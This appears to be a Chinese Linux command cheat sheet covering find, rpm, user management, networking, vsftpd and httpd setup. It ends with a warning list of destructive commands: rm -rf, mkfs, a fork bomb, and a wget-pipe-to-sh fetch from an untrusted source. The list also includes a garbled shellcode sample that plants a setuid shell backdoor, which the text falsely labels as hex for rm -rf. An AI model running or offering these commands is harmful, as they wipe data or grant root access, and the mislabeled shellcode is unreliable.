find / -name "[A-Z]*" -print 用于当前目录及子目录中查找文件名以一个大写字母开头的文件;

find /etc -name "host*" -print 在/etc目录中查找文件名以host开头的文件;

find / -name "[a-z][a-z][0--9][0--9].txt" -print 在当前目录查找文件名以两个小写字母开头,跟着是两个数字,最后是.txt的文件;

1、find命令的一般形式为;

1
find pathname -options [-print -exec -ok ...]

2、find命令的参数;

pathname: find命令所查找的目录路径。例如用.来表示当前目录,用/来表示系统根目录。

-print: find命令将匹配的文件输出到标准输出。

-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为'command' { } \;,注意{ }和\;之间的空格。

-ok: 和-exec的作用相同,只不过以一种更为安全的模式来执行该参数所给出的shell命令,在执行每一个命令之前,都会给出提示,让用户来确定是否执行。

3、find命令选项

-name

按照文件名查找文件。

-perm

按照文件权限来查找文件。

-prune

使用这一选项可以使find命令不在当前指定的目录中查找,如果同时使用-depth选项,那么-prune将被find命令忽略。

-user

按照文件属主来查找文件。

-group

按照文件所属的组来查找文件。

-mtime -n +n

按照文件的更改时间来查找文件, - n表示文件更改时间距现在n天以内,+ n表示文件更改时间距现在n天以前。find命令还有-atime和-ctime 选项,但它们都和-m time选项。

-nogroup

查找无有效所属组的文件,即该文件所属的组在/etc/groups中不存在。

-nouser

查找无有效属主的文件,即该文件的属主在/etc/passwd中不存在。

-newer file1 ! file2

查找更改时间比文件file1新但比文件file2旧的文件。

-type

查找某一类型的文件

-size n:[c] 查找文件长度为n块的文件,带有c时表示文件长度以字节计。

-depth:在查找文件时,首先查找当前目录中的文件,然后再在其子目录中查找。

-fstype:查找位于某一类型文件系统中的文件,这些文件系统类型通常可以在配置文件/etc/fstab中找到,该配置文件中包含了本系统中有关文件系统的信息。

-mount:在查找文件时不跨越文件系统mount点。

-follow:如果find命令遇到符号链接文件,就跟踪至链接所指向的文件。

-cpio:对匹配的文件使用cpio命令,将这些文件备份到磁带设备中。

另外,下面三个的区别:

-amin n

查找系统中最后N分钟访问的文件

-atime n

查找系统中最后n*24小时访问的文件

-cmin n

查找系统中最后N分钟被改变文件状态的文件

-ctime n

查找系统中最后n*24小时被改变文件状态的文件

-mmin n

查找系统中最后N分钟被改变文件数据的文件

-mtime n

查找系统中最后n*24小时被改变文件数据的文件

ar

功能说明:建立或修改备存文件,或是从备存文件中抽取文件。

语 法:ar[-dmpqrtx][cfosSuvV][a<成员文件>][b<成员文件>][i<成员文件>][备存文件][成员文件]

补充说明:ar可让您集合许多文件,成为单一的备存文件。在备存文件中,所有成员文件皆保有原来的属性与权限。

参 数:

指令参数

-d 删除备存文件中的成员文件。

-m 变更成员文件在备存文件中的次序。

-p 显示备存文件中的成员文件内容。

-q 将文件附加在备存文件末端。

-r 将文件插入备存文件中。

-t 显示备存文件中所包含的文件。

-x 自备存文件中取出成员文件。

选项参数

a<成员文件> 将文件插入备存文件中指定的成员文件之后。

b<成员文件> 将文件插入备存文件中指定的成员文件之前。

c 建立备存文件。

f 为避免过长的文件名不兼容于其他系统的ar指令指令,因此可利用此参数,截掉要放入备存文件中过长的成员文件名称。

i<成员文件> 将文件插入备存文件中指定的成员文件之前。

o 保留备存文件中文件的日期。

s 若备存文件中包含了对象模式,可利用此参数建立备存文件的符号表。

S 不产生符号表。

u 只将日期较新文件插入备存文件中。

v 程序执行时显示详细的信息。

rpm

一种用于互联网下载包的打包及安装工具,它包含在某些Linux分发版中。它生成具有.RPM扩展名的文件,与Dpkg类似。

RPM是RedHat Package Manager(RedHat软件包管理工具)的缩写,这一文件格式名称虽然打上了RedHat的标志,但是其原始设计理念是开放式的,现在包括OpenLinux、S.u.S.E.以及Turbo Linux等Linux的分发版本都有采用,可以算是公认的行业标准了。

常用rpm命令

查询rpm软件包

1
rpm -q  [软件包名]

软件包的安装

1
rpm -ivh [软件包]

软件包的升级

1
rpm -Uvh [软件包]

软件包的卸载

1
rpm -e [软件包名]

组管理


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
useradd 用户名 #创建用户和组
passwd 用户名 #设置用户密码
groupadd组名 #创建组
usermod–d路径用户名 #修改用户宿主目录
usermod–u uid 用户名 #修改用户的UID
usermod-s /bin/[csh] 用户名 #修改用户启动shell
usermod-G 组名 用户名 #将用户加入组, 创建私有组
usermod-g 组名 用户名 #用户加入组但不创建私有组
gpasswd -a 用户名 组名 #同-G
gpasswd -d 用户名 组名 #将用户从组中删除
gpasswd -A 用户名 组名 #指定用户成为组的管理员
usermod-L 用户名 #锁定用户
passwd -l 用户名 #同上
usermod-U 用户名 #解锁用户
passwd -u 用户名 #同上
usermod-l 新名 原名 #重命名用户
groupmod -n 新名 原名 #重命名组
userdel 用户名 #删除用户
userdel –r 用户名 #彻底删除,包括用户的宿主目录
groupdel组名 #删除组
passwd -d 用户名 #删除用户密码

进程服务


查看进程

#ps -aux //查看所有进程(静态)

#top //查看动态变化的进程

#pstree//查看进程树

将进程放在后台运行

#命令 &

查看后台运行的进程

#jobs

将后台运行的进程调入前台

#fg 编号

强制结束进程

#kill -9 PID 或#killall -9进程名

init进程是所有进程的父进程其级别如下

0 关机

1 单用户

2 多用户字符,但是不支持NFS

3 完全多用户字符

4 用户自定义

5图形

6 重启

查看服务启动情况(独立启动方式)

#chkconfig --list //查看所有服务的启动状态

#chkconfig --list httpd

设置独立启动服务

#chkconfig --level 35 httpd on或off

设置非独立启动服务

#chkconfig telnet on或off#service xinetd restart

设置服务在开机时自动运行

#ntsysv

网卡设置


1、 设置ip地址(即时生效,重启失效)

#ifconfig eth0 ip地址 netmask子网掩码

2、 设置ip地址(重启生效,永久生效)

#setup

3、 通过配置文件设置ip地址(重启生效,永久生效)

#vi /etc/sysconfig/network-scripts/ifcfg-eth0

DEVICE=eth0 #设备名,与文件同名。

ONBOOT=yes #在系统启动时,启动本设备。

BOOTPROTO=static

IPADDR=202.118.75.91 #此网卡的IP地址

NETMASK=255.255.255.0 #子网掩码

GATEWAY=202.118.75.1 #网关IP

MACADDR=00:02:2D:2E:8C:A8 #mac地址

4、 重启网络服务

#service network restart //重启所有网卡

5、 禁用网卡,启动网卡

#ifdown eth0

#ifup eth0

6、 屏蔽网卡,显示网卡

#ifconfig eth0 down

#ifconfig eth0 up

7、 配置DNS客户端(最多三个)

#vi /etc/resolv.conf

nameserver 202.99.96.68

8、更改主机名(即时生效)

#hostname主机名

9、更改主机名(重启计算机生效,永久生效)

#vi /etc/sysconfig/network

HOSTNAME=主机名

服务进程


FTP服务

1 使用setup命令开启vsftpd服务进程。

2然后修改文件/etc/xinetd.d/vsftpd。(但vsftpd是依附于xinetd.d运行时2、3有效)

(1)把disable=yes改为=no。

(2)配置每个客户机的最大连接数:

在配置文件/etc/xinetd.d/vsftpd的{}中添加如下的配置语句:

per_source = 数值。例如:per_source = 5 表示每个客户机的最大连接数为5。

(3)配置服务器总的并发连接数:

在配置文件/etc/xinetd.d/vsftpd 的{}中添加如下的配置语句:

instances = 数值。例如:instances = 200 表示FTP 服务器总共支持的最高连接数为200。

(4)当vsftpd单独运行时:要配置独立运行的vsftpd很简单,只需要在前面的主配置文件的基础上添加如下的配置即可。

设置listen=YES :指明vsftpd以独立运行方式启动。

设置max_clients=200 :指明服务器总的并发连接数

设置max_per_ip=4 :指明每个客户机的最大连接数。

3. 配置/etc/vsftpd.conf(redhat9 是/etc/vsftpd/vsftpd.conf)文件。

# 允许真实用户(在系统中有账号的用户)访问

local_enable=YES

# 给真实用户写权限

write_enable=YES

# 真实用户上传文件的掩码设为022。这样真实用户上传后的文件权限为755(rwxr-xr-x),即文件所有者可读写执行、同组成员可读可执行、

# 系统中的其它用户可读可执行。

local_umask=022

# 允许匿名用户访问。匿名用户在系统中的账号是ftp

anonymous_enable=YES

# 匿名用户上传文件的掩码设为000。这样文件上传后的权限为777(rwxrwxrwx),即所有人都可以读写执行。

anon_umask=000

# 匿名用户可上传、可创建目录。一下3行只有设置了write_enable=YES才有效。

anon_upload_enable=YES

anon_mkdir_write_enable=YES

anon_world_readable_only=NO

# 如果想要让匿名用户有删除的权限可以加上如下代码

# anon_other_write_enable=YES

# 进入每个目录都显示特定提示。这些提示放在各个目录下.message文件中。

dirmessage_enable=YES

# 当用户登陆ftp服务器时,不管是否登陆成功都显示如下信息。

ftpd_banner=Welcome to NiHao FTP service.

# 使用日志记录上传和下载。

xferlog_enable=YES

# 日志文件的位置

#xferlog_file=/var/log/vsftpd.log

#日志使用标准fpd格式

xferlog_std_format=YES

# ftp服务的端口是20

connect_from_port_20=YES

# 用户使用ftp访问服务器时,把他们的登陆目录作为它们在ftp中看到的目录,这称为chroot。

# 这样用户就无法访问他们登陆目录以外的内容,大大增强了安全性。匿名用户的登陆目录是/var/ftp/

chroot_list_enable=YES

# 文件/etc/vsftpd.chroot_list中的用户不chroot。

chroot_list_file=/etc/vsftpd.chroot_list

# 同时最多允许5个用户登陆。

max_clients=5 #有些不支持此选项,注释掉即可。

# ftp服务的密码验证模块。

pam_service_name=vsftpd

# listen=YES #如果是独立运行的则加此项(redhat9)。

#tcp_wrappers=YES #如果是独立运行的则加此项(redhat9)。

4.重新启动xinetd服务,你就可以匿名访问你的ftp服务器了。

5 . 配置vsftpd允许匿名用户上传

修改vsftpd的主配置文件/etc/vsftpd.conf

# vi /etc/vsftpd.conf

将如下两行前的#删除

① #anon_upload_enable=YES 允许匿名用户上传

② #anon_mkdir_write_enable=YES 开启匿名用户的写和创建目录的权限

若要以上两项设置生效,同时还要求:

(1) write_enable=YES

(2) 匿名用户对文件系统的上传目录具有写权限

添加如下的配置语句

#anon_world_readable_only=NO

上面的配置语句用于放开匿名用户的浏览权限

修改后存盘退出vi

创建匿名上传目录

#mkdir/var/ftp/incoming

修改上传目录的权限

# chmod o+w /var/ftp/incoming/

重新启动xinetd

# service xinetd restart

Web服务

同样在setup中选中httpd服务。www服务不需要xinetd作为它的代理进程。httpd这个进程一直在系统中运行。www服务的默认目录是/var/www/html。只要把主页放到这个目录下就可以访问了。

我们可以用建立ftp管理员的办法建立一个www管理员wwwAdmin。只要把它的登陆目录设为/var/www/html即可。

/etc/init.d/httpd start #启动服务

/etc/init.d/httpd restart #重新启动

其配置文件为/etc/httpd/conf/httpd.conf

ssh服务

SSH 是 Secure SHell protocol 的简写,他可以经由将联机的封包加密的技术,来进行资料的传递,因此,资料当然就比较安全啰!这个 SSH 可以用来取代 Internet 上面较不安全的 finger, R Shell (rcp, rlogin, rsh 等指令), talk 及 telnet 等联机模式。底下我们将先简介一下 SSH 的联机模式,来说明为什么 SSH 会比较安全呢!

特别注意:这个 SSH 协议,在预设的状态中,本身就提供两个服务器功能:

1. 一个就是类似 telnet 的远程联机使用 shell 的服务器,亦即是俗称的 ssh ;

2. 另一个就是类似 FTP 服务的 sftp-server !提供更安全的 FTP 服务。

应用实例


#!/bin/ksh

home=`pwd`

export CLASSPATH="${home}/lib/swift-fields-1.0.jar:${home}/lib/wife-5.2.jar:${home}/lib/commons-lang-2.4.jar:${home}/lib/log4j-1.2.15.jar:${home}/lib/poi-3.1-FINAL.jar:${home}/lib/swiftmsggeneration-1.0.jar"

LOG_FILE=${home}/log/start_data_decrypt`date +"%y%m%d"`.log

echo "LOG_FILE: " $LOG_FILE

if [ -f $LOG_FILE ]; then

FILE_LEN=`cat $LOG_FILE|wc -l`

#echo $FILE_LEN, 200000 is about 30MB

if [ $FILE_LEN -gt 200000 ]; then

mv $LOG_FILE $LOG_FILE.bak

touch $LOG_FILE

chmod o+r $LOG_FILE

fi;

fi

if [ -z ${JAVA_HOME} ] ; then

echo "Get JAVA_HOME environment variable exported in terms of the directory to store JDK installed" >>${LOG_FILE}

exit -1

fi

echo "INFO:Generation begin .........." >>${LOG_FILE}

$JAVA_HOME/bin/java -cp ${CLASSPATH} com.abc.cde.swift.job.SwiftMsgGeneration "MT202" 2>&1 >> $LOG_FILE

echo "INFO:Generation end .........." >>${LOG_FILE}

echo "INFO:You can get original file in ${hist} .........." >>${LOG_FILE}

echo "INFO:You can get ecnrypt file in ${output} .........." >>${LOG_FILE}

危险命令


1. Code:

rm -rf \

根目录会被擦光

2. Code:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p

release */

= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″

“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″

“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″

“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″

“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″

“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″

“x6ex2fx73x68x00x2dx63x00″

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

就是16进制的[rm -rf \]

3. Code:

mkfs.ext3 /dev/sda

抹盘行为无疑是危险的

4. Code:

:(){:|:&};:

它可以让你的系统迅速因为处理大量数据而死机.

5. Code:

any_command > /dev /sda

这个命令将会写入大量的RAW数据,可以导致数据丢失.

6. Code:

wget http://some_untrusted_source -O- | sh

和Windows一样,千万不要乱下载未经证实安全性的源

7. Code:

mv /home/yourhomedirectory/* /dev/null


相关问题推荐

  • 回答 7

    使用命令:chmod 744 myflile就可以实现以上的操作。

  • 回答 4

    关于CLOSE_WAIT和TIME_WAIT状态,服务器端都有可能出现,TIME_WAIT出现应该是短连接较多,需要通过修改内核参数解决,CLOSE_WAIT状态则是服务器程序可能有问题,服务器需要主动close,以及epoll多路复用模型中使用linger调整关闭等待时间分析解决这类问题,关...

  • 回答 6
    已采纳

    chmod 命令:chmod命令是非常重要的,用于改变文件或目录的访问权限。用户用它控制文件或目录的访问权限。该命令有两种用法。一种是包含字母和操作符表达式的文字设定法;另一种是包含数字的数字设定法。1. 文字设定法:chmod [who] [+ | - | =] ...

  • 回答 3
    已采纳

    Linux chattr 命令一般,chattr命令用于更改Linux文件上属性。以下是它的语法:chattr [ -RVf ] [ -v version ] [ mode ] files...下面是man手册对它的描述:chattr 改变一个Linux文件系统上的文件属性。一个通用格式是:+-=[aAcCdDeijsStTu]‘+’选项,将给...

  • 回答 8
    已采纳

    命令格式cat [选项] [文件]...命令功能cat主要有三大功能:一次显示整个文件:cat filename从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.将几个文件合并为一个文件:cat file1 file2 > file命令参数-n 或 --number 对输出的所有行编号,...

  • 回答 3

    shell的执行过程: 首先,脚本是从上至下从左至右执行每一行的语句的。 其次,当执行脚本时会进入一个新的shell,也成为nologin shell,在该shell下执行完成后,再返回执行前的shell。更加详细的讲解请楼主参考鸟哥linux网站中的bash shell章节有图能让您更...

  • 回答 3

    学习linux为什么要学习Shell: 1、首先我们了解一下shell编程是什么,其实shell编程就是一坨linux命令的集合再加上一些控制语句而已 2、为什么要学习linux下的shell编程,我们平时在做运维工作时总会遇到一些重复的工作,如果我们会shell编程的话就可以将这些...

  • 回答 6

    1.服务器一般情况下只有在进行项目部署或者是出现问题的时候才需要进行远程连接操作,在进行连接的时候我们一般都是使用的外部连接软件2.启动软件,点击快速连接,我们要选择连接的协议3.协议选择要然后填写服务器的IP地址和用户名,然后点击连接4.在通过验证...

  • 回答 4

    看看系统内存是否足够多,然后分区的时候是否正常运行

  • 回答 5

    1、首先要查看电脑的附带文档或者转到制造商网站来了解你的电脑使用存储控制器是什么类型的,了解了类型有助于知道是哪个方面出现了问题。2、然后在另一台电脑上同样是转到制造商的网站,将最新的驱动程序下载下来,并且保存在usb闪存驱动器或者是别的可以移...

  • 回答 7

    1、切换到root用户后。2、键入vim /etc/inittab, 就可以查看并修改该配置文件。3、在输入上面的命令后,我们可以看到该配置文件里面的信息如下:4、注意最后的那几行,就是Linux系统默认启动有七种。0:关机(不要设置这个!)1:单用户(类似于windows操作系统...

  • 回答 5
    已采纳

    很多朋友经常会忘记Linux系统的root密码,linux系统忘记root密码的情况该怎么办呢?重新安装系统吗?当然不用!进入单用户模式更改一下root密码即可。步骤如下:重启linux系统重启系统后出现GRUB界面在引导装载程序菜单上,按 E出现内核选择 ,选择第二行 ...

  • 回答 6

    1.正确的关机流程为:sysnc ? shutdown ? reboot ? halt;2.sync 将数据由内存同步到硬盘中。3.shutdown 关机指令,你可以man shutdown 来看一下帮助文档。例如你可以运行如下命令关机:4.shutdown –h 10 ‘This server will shutdown after 10 mins’ ...

  • 回答 2

    1、LPIC,全称Linux专业委员会认证2、Oracle联合认证(OCA)3、Oracle专业认证(OCP)4、RHCE,也叫做红帽认证工程师5、RHCA即红帽认证架构师6、SUSE认证Linux管理员(SUSE CLA)7、SUSE认证Linux专业人员(CLP)8、SUSE认证Linux工程师(CLE)...

  • 回答 7
    已采纳

    目录/bin存放二进制可执行文件(ls,cat,mkdir等),常用命令一般都在这里。/etc存放系统管理和配置文件/home存放所有用户文件的根目录,是用户主目录的基点,比如用户user的主目录就是/home/user,可以用~user表示 /usr用于存放系统应用程序,比较重要的目录/u...

没有解决我的问题,去提问